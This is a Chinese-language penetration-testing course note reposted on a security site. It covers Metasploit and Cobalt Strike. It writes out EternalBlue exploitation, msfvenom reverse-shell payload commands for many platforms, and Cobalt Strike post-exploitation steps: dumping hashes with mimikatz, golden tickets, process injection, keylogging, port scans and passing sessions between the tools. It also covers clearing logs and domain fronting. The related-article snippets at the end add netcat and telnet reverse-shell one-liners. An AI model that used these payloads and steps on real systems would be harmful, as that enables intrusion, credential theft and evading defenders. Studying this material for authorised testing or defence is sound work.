Metasploit&Cobalt Strike 基础

VSole2021-10-27 08:10:52

本文为内测第一周结束后内网学员的学习笔记,后续本公众号会持续更新其他课程学员学习笔记。对课程感兴趣,请添加文末小助手微信咨询。‍‍

0x01 MSF安装和升级

最近mac本机和linux服务器上的msf在执行msfupdate命令以后都出现了不同程度的玄学问题,于是卸了重装。

1.1 安装

https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installerscurl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \  chmod 755 msfinstall && \  ./msfinstall

以非root用户首次启动msf来创建数据库。

如果是用root用户首次启动msf了那么就用 msfdb reinit命令来初始化数据库。

1.2 mac下msf的卸载:

msfremove

1.3 linux下msf的卸载:

sudo rm -rf /opt/metasploit-frameworkrm ~/.msf4/logs/framework.log

如果都用1.1里的方式安装的就用以上这两条命令卸载就行了。

但是我发现我服务器上一开始是通过 apt-get install来装msf的。所以需要加:

sudo apt-get remove metasploit-framework

这条命令来卸载msf。

https://github.com/rapid7/metasploit-framework/issues/14652 前两条命令

1.4 msf更新

msfupdate

1.5 添加到路径

顺带一提,添加msfconsole和msfvenom这些bin到路径的方法在mac上和在linux上都是

export PATH="$PATH:/opt/metasploit-framework/bin"

0x02 msf使用方法

2.1 使用方法

进入msf: msfconsolesearch命令查找模块: search ms17-010use进入模块: use exploit/windows/smb/ms17_010_eternalblue (search以后use 0)模块详细信息查看: use了以后info,没use 之前 info exploit/windows/smb/ms17_010_eternalblue设置攻击载荷: set payload windows/x64/meterpreter/reverse_tcp查看模块需要的参数:options设置参数: set lhost 0.0.0.0(参数名似乎不区分大小写)攻击:run / exploit 都可以meterpreter后渗透阶段

2.2 rc脚本执行多个msf命令

msfconsole -r configure.rc

0x03 msfvenom生成shellcode

3.1 一般生成

msfvenom-p 载荷 -f 输出格式 -o 输出文件msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o payload.exe大部分时候也是需要一些配置 lhost lport这些:msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe

3.2 编码生成

msfvenom   -a 系统架构  --platform 系统平台  -p 有效载荷  lhost=攻击机IP   lport=攻击机端口  -e 编码方式  -i 编码次数  -f 输出格式  -o 输出文件msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe一般来说 -a可以不用,--platform也可以不用

3.3 查看支持的系统架构

msfvenom -l archs

3.4 查看支持的系统平台

msfvenom -l platforms

3.5 列出所有payload

msfvenom -l payload

3.6 列出所有的输出格式

msfvenom -l formats

3.7 列出所有的加密方式

msfvenom -l encrypt

3.8 列出所有的编码器

msfvenom -l encoders

0x04 常见生成格式

主要是windows。

4.1 windows

msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3-ex86/shikata_ga_nai -f exe -o payload.exe

4.2 Linux

msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -opayload.elf

4.3 Mac

msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho

4.4 Android

msfvenom -p android/meterpreter/reverse_tcp -o payload.apk

4.5 Aspx

msfvenom --platform windows -p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx

4.6 Jsp

msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp

4.7 PHP

msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php

4.8 Bash

msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh

0x05 CS安装

5.1 java版本切换

mac切换java版本

https://juejin.cn/post/6871959224314757134

原先的bash_profile里面的脚本

export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_91.jdk/Contents/Home CLASS_PATH="$JAVA_HOME/lib" PATH=".$PATH:$JAVA_HOME/bin"

mac下我用的是zsh,所以把上面的脚本复制到.zshrc里面就行。

ubuntu下的jdk我都安装在/usr/local下,就不用update-alternatives切换了吧,自己用的时候自己换吧。

在~/.bashrc 里面现在是/usr/local/jdk-11.0.1/bin

5.2 CS启动

服务端cd  /home/ubuntu/CS4.3&&nohup sudo ./teamserver ip pass js.profile  &
客户端启动(mac)cd /Users/hh/sectools/Cobalt_Strike_4.3&&java -Xdock:icon=cobaltstrike.icns -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC  -javaagent:hook.jar -jar cobaltstrike.jar客户端启动(win)java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -javaagent:hook.jar -jar cobaltstrike.jar

5.3 CS文件介绍

agscript:扩展应⽤的脚本 c2lint:⽤于检查profile的错误和异常 teamserver:服务器端启动程序cobaltstrike.jar:CobaltStrike核⼼程序cobaltstrike.auth:⽤于客户端和服务器端认证的⽂件,客户端和服务端有⼀个⼀模⼀样的 cobaltstrike.store:秘钥证书存放⽂件客户端基本只需cobaltstrike.jar,cobaltstrike.auth,cobaltstrike.store这几个文件。

5.4 目录

data:⽤于保存当前TeamServer的⼀些数据 download:⽤于存放在⽬标机器下载的数据 upload:上传⽂件的⽬录 logs:⽇志⽂件,包括Web⽇志、Beacon⽇志、截图⽇志、下载⽇志、键盘记录⽇志等 third-party:第三⽅⼯具⽬录

PC上 ?

5.5 CS 清除 日志

logs文件打包备份以后删除原文件夹。删除 ~/.aggressor.prop 文件里的内容。CS监听器和插件主要记录监听器的各种payload和选项加载插件时候的各种需要注意的问题

5.6 CS监听器创建

监听器-> listenersCobaltStrike的内置监听器为Beacon,外置监听器为Foreign。CobaltStrike的Beacon支持异步通信和交互式通信。创建监听器的方式:Cobalt_Strike->Listeners->add

listenername:为监听器名字,可任意payload:payload类型,建议HTTPS流量加密HTTPHosts: shell反弹的主机,测试中也可以填CDN节点HTTP Hosts(Stager): Stager的⻢请求下载payload的地址,默认也是shell反弹的主机地址HTTP Port(C2): C2监听的端⼝ 可以任意指定Host Rotation Strategy先不管

5.7 cs4.3 的payload选项

内部的ListenerBeacon DNS Beacon HTTP Beacon HTTPS Beacon TCP Beacon SMB外部的ListenerForeign HTTP Foreign HTTPSExternalExternal C2Beacon为内置的Listener,即在⽬标主机执⾏相应的payload,获取shell到CS上;其中包含DNS、HTTP、 HTTPS、SMB。

Beacon可以选择通过DNS还是HTTP协议出⼝⽹络,你可以在使⽤Beacon通讯过程中切换HTTP和DNS。(HTTP HOSTS的CDN节点)⽀持多主机连接,部署好Beacon后提交⼀个要连回的域名或主机的列表,Beacon将通过这些主机轮询。

(域前置)防护团队必须拦截所有的列表中的主机才可中断和其⽹络的通讯。通过种种⽅式获取shell以后(⽐如直接运⾏⽣成 的exe),就可以使⽤Beacon了。

Foreign为外部结合的Listener,常⽤于MSF的结合,例如获取meterpreter到MSF上。

5.8 本地远程加载插件

本地加载Script Manager -> Load插件的使用就是有shell弹回来以后右键使用。

5.9 服务端加载

加载方法:CobaltStrike服务器端有个 agscript⽂件,他是⽤来在服务器端运⾏cna插件⽂件的。agscript用法在服务端执行如下命令(避免与teamserver运行的产生的nohup.out冲突)nohup ./agscript cs的ip cs的端口 任意用户名 password  插件路径 >> nohup1.out &
agscript和c2lint文件的使用问题(重要):CS高版本要使用hook.jaragscript配置:java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:hook.jar -classpath ./cobaltstrike.jar aggressor.headless.Start $*c2lint配置:#!/bin/bash## Check a Malleable C&C Profile#java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -javaagent:hook.jar -classpath ./cobaltstrike.jar c2profile.Lint $1

5.9.1 c2lint用法:

./c2lint xxx.profile

5.9.2 对被控主机的操作1

视图view:Applications    显示受害者机器的应⽤信息;Credentials     显示受害者机器的凭证信息,通过hashdump和mimikatz获取的密码都保存在这⾥;Downloads     查看从被控机器上下载的⽂件;Event Log     可以看到事件⽇志,清楚的看到系统的事件,并且团队可以在这⾥聊天; Keystrokes     查看键盘记录;Proxy Pivots    查看代理信息;Screenshots    查看屏幕截图;Script Console   在这⾥可以加载各种脚本以增强功能,https://github.com/rsmudge/cortana-scripts,学习插件编写Targets      查看⽬标;Web Log      查看web⽇志。

5.9.3 对被控主机的操作总览

Interact 打开beaconAccess  dump hashes     获取hash  Elevate         提权  Golden Ticket   生成黄金票据注入当前会话  MAke token      凭证转换  Run Mimikatz    运行Mimikatz 抓取明文密码  Spawn As        ⽤其他⽤户⽣成Cobalt Strike的beacon  Explore  Browser Pivot 劫持⽬标浏览器进程(很少使用)  Desktop(VNC) 桌⾯交互  File Browser 文件浏览器  Net View     命令net view  Port scan    端口扫描  Process list 进程列表  Screenshot   截图(system权限下截图是失败的,普通或者管理员都是可以的)  Pivoting  SOCKS Server 代理服务  Listener     反向端口转发  Deploy VPN   部署VPN  Spawn          新的通讯模式并生成会话Session        会话管理,删除,心跳时间,退出,备注

5.9.4 抓取hash和明文密码

这两项功能都需要管理员权限,如果权限不⾜,先提权

抓取密码哈希:Access->Dump Hashes

利用mimikatz抓取明文密码:Access->Run mimikatz

credentials里面有复制功能 复制到剪贴板

6.0 提权(Elevate)

有杀软的话提权插件可能不成功

https://github.com/rsmudge/ElevateKit

控主机简历Socks4代理Pivoting->Socks Server

选择端口

做了域前置再做socks4代理的话要注意会暴露真实ip地址,要留意。

进程列表(注入进程,键盘监控)Explore->process list

建议注入PID大的进程

选中该进程Kill为杀死该进程Refresh为刷新该进程Inject 则是把beacon注⼊进程Log Keystrokes为键盘记 录Screenshot 为截图Stea Token为窃取运⾏指定程序的⽤户令牌

6.1 Inject注入进程

选择进程,点击Inject,随后选择监听器,点击choose,即可发现CobaltStrike弹回了⽬标机的⼀个新会话,这个 会话就是成功注⼊到某进程的beacon会话。该功能可以把你的beacon会话注⼊到另外⼀个程序之中,注⼊之后, 除⾮那个正常进程被杀死了,否则我们就⼀直可以控制该主机了。

inject 进程PID 进程位数 监听

最好是权限稳定了再做。

6.2 键盘记录

进程列表里任意选择⼀个进程,点击Log Keystrokes,即可监听该主机的键盘记录。

keylogger 进程PID 进程位数

或者直接输入keylogger(应该是当前进程监听键盘)

点钥匙按钮

6.3 CS操作续

生成黄金票据注入当前会话(Golden Ticket)

⽣成⻩⾦票据的前提是已经获得了krbtgt⽤户的哈希:xxx。并且已经获 得⼀个以域⽤户登录的主机权限。

6.4 端口扫描

Explore->Port Scan

一般sockets进程数s可以选200portscan 192.168.10.1-192.168.10.10 22,445 arp 1024    arp协议扫描portscan 192.168.10.1-192.168.10.10 22,445 icmp 1024   icmp协议扫描portscan 192.168.10.1-192.168.10.10 22,445 none 1024   默认所有主机都是存活的
一般直接运行portscan 192.168.1.0/24 22,445,1433,3306 20beacon里jobs查看后台运行jobkill 杀掉进程

6.5 哈希传递攻击或者SSH远程登录

有哈希解不出可以尝试PTH攻击

6.6 MSF和CS联动

会话的派生场景:

用MSF的payload打ms-17010MSF的shell弹到CS上CS、MSF互弹只有http和https可以接收到另一方回连的会话。http复制http,https复制https。实际攻击中VPS上装个msf

6.7 CS复制会话到MSF

1、CS创建外部监听器 
2、MSF开启监听 use exploit/multi/handler set payload windows/meterpreter/reverse_http (与cs对应)set lhost CS服务器地址 set lport CS外联监听器的端口 
3、CS指定会话里运行spawn 外联监听器名

foreign_https2.msf复制命令run

6.8 MSF复制会话到CS

1、将MSF获得meterpreter会话放在后台:backgroud 
2、注入会话 use exploit/windows/local/payload_inject session 选择要复制的session会话 set payload windows/meterpreter/reverse_http set lhost CS服务器地址 set lport CS外联监听器的端口(此处应为4142) 
3、CS创建监听器 (对应的beacon http或者https)
4、MSF运行注入

然后这个弹好的shell是互不影响的。

要懂得cs拿到shell以后做的操作。

msf拿到meterpreter以后做的操作。

是后渗透的基础。

比如说CS的shell

第一个操作是权限维持,同时快速翻文件收集信息。第二个操作是考虑打个代理,开始横向移动,快速判断机器是否有用,开始扫描。


‍‍

监听器msfvenom
本作品采用《CC 协议》,转载必须注明作者和本文链接
前言office宏攻击是钓鱼邮件场景中最常见的攻击手段,其制作简单,兼容性强,非常适合批量攻击,但由于其需要用户交互,隐蔽性差,攻击能否成功基本取决于目标的安全意识强弱。
信息搜集首先当然是通过fofa进行bc网站的后台搜集,获得的qi牌bc站几乎都是一模一样,估计是分站。由于都是分站,因此存在相同漏洞的应该不少。0x02 上线cs写个脚本,批量上线cs。0x03 提权方式一cs中执行run systeminfo收集目标安装的补丁,使用在线提权辅助工具查看能够利用的漏洞。查找exp并利用即可。方式二要想利用msf辅助提权,必须要反弹shell到msf一方面可以利用cs在目标机上执行msf生成的木马上线msf。
因为 web 服务器同时连接了外网和内网,所以必须首先拿下。这里有关 web 服务器的渗透不展开讲了,无非也就是利用漏洞,诸如:弱口令、上传漏洞、远程代码执行、各种 cms 漏洞,总之都是可以找到写入 webshell 的方法。成功写入 webshell 后,接着就要上传木马控制 web 服务器,这里可以用 Metasploit或 Cobaltstrike。
第 2 章 shell权限提升,简称提权。它用于执行各种网络交互,包括在枚举期间抓取 banner 等。但它们默认情况下很少安装 Socat。模块与 socat 和 netcat 一样,提供了用于接收反弹 shell 的功能。虽然 msfvenom 可以生成除 reverse 和 bind shell 之外的 payload,但这不是本文的重点。一般情况下,反向 shell 更容易执行和调试。以下会给出反弹 shell 和 正向 shell 的示例,请注意它们间的区别。这里重要的是我们正在攻击机上监听,并收到了来自目标的连接。请注意,这并非特定于 Windows。
本文记录了一次针对具有二层内网的域环境进行渗透测试的过程,文中涉及了内网域渗透的基本方法、思路和技巧。交替使用了msf、CobaltStrike、frp、chisel、SharpSQLTools等工具,最后通过约束委派拿下了域控。其间运用了很多小工具,文章较长,下面开始此次渗透长途之旅。看到了weblogic的版本,查找下exp,顺手先来一波smb信息收集。
本文为内测第一周结束后内网学员的学习笔记,后续本公众号会持续更新其他课程学员学习笔记。对课程感兴趣,请添加文末小助手微信咨询。0x01 MSF安装和升级 最近mac本机和linux服务器上的msf在执行msfupdate命令以后都出现了不同程度的玄学问题,于是卸了重装。
0x00 介绍工具介绍RedGuard,是一款C2设施前置流量控制技术的衍生作品,有着更加轻量的设计、高效的流量交互、以及使用go语言开发具有的可靠兼容性。它所解决的核心问题也是在面对日益复杂的红蓝攻防演练行动中,给予攻击队更加优秀的C2基础设施隐匿方案,赋予C2设施的交互流量以流量控制功能,拦截那些“恶意”的分析流量,更好的完成整个攻击任务。RedGuard是一个C2设施前置流量控制工具,可以避免Blue Team,AVS,EDR,Cyberspace Search Engine的检查。
0x00 介绍工具介绍RedGuard,是一款C2设施前置流量控制技术的衍生作品,有着更加轻量的设计、高效的流量交互、以及使用go语言开发具有的可靠兼容性。它所解决的核心问题也是在面对日益复杂的红蓝攻防演练行动中,给予攻击队更加优秀的C2基础设施隐匿方案,赋予C2设施的交互流量以流量控制功能,拦截那些“恶意”的分析流量,更好的完成整个攻击任务。RedGuard是一个C2设施前置流量控制工具,可以避免Blue Team,AVS,EDR,Cyberspace Search Engine的检查。
是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。telnet反弹nc -lvvp 444 #攻击者主机上执行监听rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p #目标主机上执行。监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip反弹shell成功后,在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。 nc反弹nc -lvvp portnc -e /bin/bash x.x.x.x port
RedGuard,是一款C2设施前置流量控制技术的衍生作品,有着更加轻量的设计、高效的流量交互、以及使用go语言开发具有的可靠兼容性。它所解决的核心问题也是在面对日益复杂的红蓝攻防演练行动中,给予攻击队更加优秀的C2基础设施隐匿方案,赋予C2设施的交互流量以流量控制功能,拦截那些“恶意”的分析流量,更好的完成整个攻击任务。
VSole
网络安全专家